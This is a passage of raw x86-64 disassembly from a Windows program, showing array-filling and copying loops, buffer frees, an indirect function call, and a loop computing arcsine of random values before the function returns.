movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5f8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7a0], 1
cmp dword [rbp + 0x7a0], 0xe0
jle 0x1400028cc
mov dword [rbp + 0x7a0], 0
jmp 0x1400029fe
mov eax, dword [rbp + 0x79c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x600]
add rax, rdx
mov edx, dword [rbp + 0x7a0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5f0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x79c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5f8]
add rax, rdx
mov edx, dword [rbp + 0x7a0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5e8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x79c], 1
add dword [rbp + 0x7a0], 1
cmp dword [rbp + 0x7a0], 0xe0
jle 0x14000297e
mov rax, qword [rbp + 0x600]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5f8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x608]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov dword [rbp + 0x798], 0xffffffff
mov ecx, 0x14d8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5e0], rax
add dword [rbp + 0x798], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006608]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x798]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5e0]
add rax, rdx
movsd xmm1, qword [0x1400065f8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x798]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5e0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x798]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x5e0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x798], 0x299
jle 0x140002a78
mov eax, 0
add rsp, 0x898
pop rbx
pop rsi
pop rdi
pop rbp
ret